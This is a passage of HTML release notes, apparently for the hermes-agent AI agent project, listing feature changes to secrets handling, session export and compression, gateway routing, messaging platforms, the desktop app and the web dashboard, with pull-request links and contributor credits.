data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
<li>Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session <code>/model</code> overrides persist across restarts (<a href="https://github.com/NousResearch/hermes-agent/pull/67401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67401/hovercard">#67401</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65783" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65783/hovercard">#65783</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62645/hovercard">#62645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56967/hovercard">#56967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57030/hovercard">#57030</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Session auto-reset default off; <code>/sessions search &lt;query&gt;</code>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (<a href="https://github.com/NousResearch/hermes-agent/pull/60194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60194/hovercard">#60194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57685/hovercard">#57685</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60944/hovercard">#60944</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65702/hovercard">#65702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58872/hovercard">#58872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + <code>nous_session_valid</code> on <code>/api/status</code> for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (<a href="https://github.com/NousResearch/hermes-agent/pull/60730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60730/hovercard">#60730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60586" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60586/hovercard">#60586</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64649/hovercard">#64649</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59976/hovercard">#59976</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59969/hovercard">#59969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59983/hovercard">#59983</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Inline choice pickers</strong> for <code>/reasoning</code> and <code>/fast</code> on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (<a href="https://github.com/NousResearch/hermes-agent/pull/65799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65799/hovercard">#65799</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (<a href="https://github.com/NousResearch/hermes-agent/pull/58865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58865/hovercard">#58865</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/66149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66149/hovercard">#66149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60187/hovercard">#60187</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60230/hovercard">#60230</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60493/hovercard">#60493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51751/hovercard">#51751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: live per-tool status line (<a href="https://github.com/NousResearch/hermes-agent/pull/67080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67080/hovercard">#67080</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854171101" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/62007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62007/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/62007">#62007</a>)</li>
<li>Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (<a href="https://github.com/NousResearch/hermes-agent/pull/65543" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65543/hovercard">#65543</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65546/hovercard">#65546</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: <code>stt.echo_transcripts</code> toggle; MEDIA: captions attached to the media bubble on standalone sends; <code>display.tool_progress: log</code> option (<a href="https://github.com/NousResearch/hermes-agent/pull/58859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58859/hovercard">#58859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61415" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61415/hovercard">#61415</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57014/hovercard">#57014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<ul>
<li><strong>Contribution-driven shell on a layout-tree model</strong> — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (<a href="https://github.com/NousResearch/hermes-agent/pull/60638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60638/hovercard">#60638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67303/hovercard">#67303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Capabilities page</strong> — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (<a href="https://github.com/NousResearch/hermes-agent/pull/57590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57590/hovercard">#57590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57441/hovercard">#57441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67482/hovercard">#67482</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hermes Cloud connection mode</strong> (salvage of <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4773549207" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/55402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/55402/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/55402">#55402</a>); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (<a href="https://github.com/NousResearch/hermes-agent/pull/61912" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61912/hovercard">#61912</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61916/hovercard">#61916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67203/hovercard">#67203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (<a href="https://github.com/NousResearch/hermes-agent/pull/65204" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65204/hovercard">#65204</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62243" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62243/hovercard">#62243</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65109" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65109/hovercard">#65109</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65174" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65174/hovercard">#65174</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61147" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61147/hovercard">#61147</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57913/hovercard">#57913</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (<a href="https://github.com/NousResearch/hermes-agent/pull/67469" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67469/hovercard">#67469</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67681" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67681/hovercard">#67681</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67282" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67282/hovercard">#67282</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63086/hovercard">#63086</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; <code>/journey</code> opens the memory graph overlay (<a href="https://github.com/NousResearch/hermes-agent/pull/67206" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67206/hovercard">#67206</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/erosika/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/erosika">@erosika</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67209" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67209/hovercard">#67209</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67759" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67759/hovercard">#67759</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67472/hovercard">#67472</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63520" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63520/hovercard">#63520</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60457/hovercard">#60457</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67029" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67029/hovercard">#67029</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64598" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64598/hovercard">#64598</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57267" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57267/hovercard">#57267</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Full TypeScript conversion of the desktop tree (<a href="https://github.com/NousResearch/hermes-agent/pull/57855" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57855/hovercard">#57855</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<ul>
<li>Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (<a href="https://github.com/NousResearch/hermes-agent/pull/60569" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60569/hovercard">#60569</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63699" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63699/hovercard">#63699</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65361/hovercard">#65361</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64636" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64636/hovercard">#64636</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shannonsands/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shannonsands">@shannonsands</a>)</li>
